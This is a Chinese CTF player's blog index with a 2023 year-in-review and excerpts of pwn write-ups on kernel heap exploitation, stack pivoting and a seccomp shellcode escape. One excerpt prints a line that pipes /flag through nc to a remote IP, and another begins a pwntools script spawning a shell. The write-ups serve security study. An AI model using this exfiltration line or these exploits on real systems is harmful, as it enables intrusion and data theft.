置顶文章

4.7k 4 分钟

# 前言 人生天地之间,若白驹过隙,忽然而已。 轮到总结我的 2023 时,我第一时间想到这一句诗。 恍然间似乎还在年初,恍然间就到了年末。 # CTF 2023 是我打 CTF 的第一个年头(不算我摸爬滚打学习的一年),或许以后还有很多年。 # 强网拟态 今年 CTF 的开篇应该是和 SU 去南京打强网拟态决赛,前一天还打了一个成信大的安洵杯决赛,第一次打 awd,侥幸拿了一个冠军。 不尽人意的是刚飞到南京就首阳了,战斗力直接变成 0,在酒店里休息着看着 SU 大爹们带着我拿下决赛第三。 谢谢塞宁一别姐姐在那个新冠还被人害怕的年代,亲自送新冠测试剂和一些药到酒店房间给我。🥰🥰 #...

文章列表

28k 26 分钟

2022 ciscn 实践赛西南赛区半决赛只有两道 pwn,一道简单 vm 栈溢出,还有一道 1 解 kernel。 因为题目没有泄露函数,所以我依赖 msg_msg 构造越界读 & 任意写的原语,同时借助 pipe_buffer 完成内核地址泄露。 笔者对 msg 源码进行了浅要的剖析,有基础 or 对源码不感兴趣 的读者可自行选择跳过。 # msg_msg & msg_msgseg: # 前言 消息队列是 Linux...
18k 16 分钟

# Linux 内核部分漏洞利用实践 ​ 胡嘉懿 ​ 四川大学 网络空间安全学院,四川 成都 610065 # 摘要: 对于 Linux kernel 中常见的漏洞进行基础的分析和实践利用。学习并介绍了 Linux kernel 的基本 CPU 保护措施。学习了经典工具例如 pahole , vmlinux-to-elf 等工具的基本功能与使用方式。实践环节采用 qemu 模拟内核,用带有漏洞的内核驱动进行调试攻击。源程序可以在 CTF-wiki 上直接下载。本篇文章着重实践了 Kernel UAF,ret2usr...
7.2k 7 分钟

挺久没发过博客了,水一篇 ( 和队友一起打到初赛第六,这次属实是没 pwner 什么事,pwn 题难的难,简单的简单,拉不开差距。 # Message Board 程序给了一次格式化字符串,拿来泄露栈地址后栈迁移。 这里奇怪的是我本地泄露某一个栈地址,在我本机是 glibc 2.31 9.9 的情况以及 patch 过 glibc-all-in-one 中 libc 的情况在远程均无法成功。需要换一个栈地址才行。 一次性调用程序本身的 call_read gadget + 栈迁移 orw 即可。(更简单的方法是重回...
34k 30 分钟

首发于看雪: https://bbs.kanxue.com/thread-275376.htm # 前言 和 r3kapig 一起征战 hitcon2022,pwn 手坐大牢,wtfshell 这道题审了三小时源码,只看出来一个 chk_pw 侧信道 + read_pw 未置零,最终可以通过侧信道 leak 出一个 heap 地址,没有看出其余的洞,最终放弃。 wtfshell1 最终解数为 4, wtfshell2 最终解数为 3。第一题解出来了第二题基本就解出来了。 感谢 crazyman 第二天来告诉我 wtfshell 的主要漏洞(strtok off by...
14k 13 分钟

# YCBSQL 远程是上传一个 sql 文件,题目提示用 nc 带出 flag。 优先考虑 sqlite 自带的.system 函数(抱着试一试的想法),然后找 web 手要了个 vps 监听,莫名其妙就出了。 sql 文件内容: 1.system nc 1.117.171.248 9997 </flag # fakeNoOutput 是个 httpd。最后三分钟做出来了。 协议格式逆了半天,有个栈溢出在 upload 里,触发溢出的条件: HTTP_SERVER1_token 是系统随机生成的,得写对。token 记得用 \x00 截断 开头得有个 POST...
7.6k 7 分钟

# Pwn # gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为 0x60 或 0x100,往里写内容的时候是往 user_data +0x10 处写。 delete:有 UAF show:可泄露 bargain:可以用来控制 fd。并且类型为 int,比较类型也是有符号比较,所以可以减 0x10 范围内的数字,或者加 int(4 字节内)的数字。 因为这道题 idx 太少了,直接 free 掉 7 个 chunk 填满 tcache_list 不可行,所以我是通过 bargain 函数修改 fd 指针到一个 fake_chunk ,这个...
35k 31 分钟

# Pwn # challenge UserManager 菜单题 musl 二叉树 add 里面有 uaf。 连续两次 id 一样。 用的 calloc,得想办法 leak。 堆风水先把 avail chunk 给消耗完。再 free user。 再分配的时候就可以完成用 user 占位 name。然后用 name 来 leak libc 和 elf base 再用 name 反过来占位 user,写 secret 的地址就可以 leak 出 secret。 dequeue 打类似 unlink 攻击,打 io file,fsop。堆风水,注意到 parent...
7.8k 7 分钟

# pwn # eyfor buf 可以覆盖 seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出: 程序自带 system 函数,同时会将 payload strcpy 到 bss 段上,因此可以在 payload 中附带 /bin/sh 之后直接调用 system ("/bin/sh") getshell。 exp: 123456789101112131415161718from pwn import *import ctypescontext.terminal =...
6.3k 6 分钟

# DSCTF pwn 部分 wp 原谅我懒,不想附图了,客官老爷们多包涵。 拿了第七: 出了两道 pwn: # fuzzerinstrospector Case 6 有带 rdi 的任意指针调用,只要泄露 libc 即可。 rdi 指向的内容可控。 add 函数和 edit 函数功能相似。add 函数 malloc 指定大小 0x108。 前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。 可以先 free 掉七个堆块进入 tcache 填满,然后 delete 堆块进入 unsortedbin。 不过申请 unsortedbin 的时候,他似乎会先检查符合...
4.1k 4 分钟

第一题的第五个解出: 第二题的三血 总体难度偏简单。 # EscapeShellcode 清空了所有寄存器(设置为 0xdeadbeefdeadbeef),包括 rsp。 flag 读到了 bss 段上。 seccomp 只允许调用 read 和 write。这里我只用到了 write。 利用的主要是: write,read 函数遇到不可读写的区域,会返回 < 0 的值,且不会令程序崩溃。 首先利用 syscall 会给 rcx 赋值的特性,将 rip 的值赋给 rcx。 将 rcx 赋给 r8 r8 减去一个很大的偏移,令他小于 codebase,将 r8 赋给...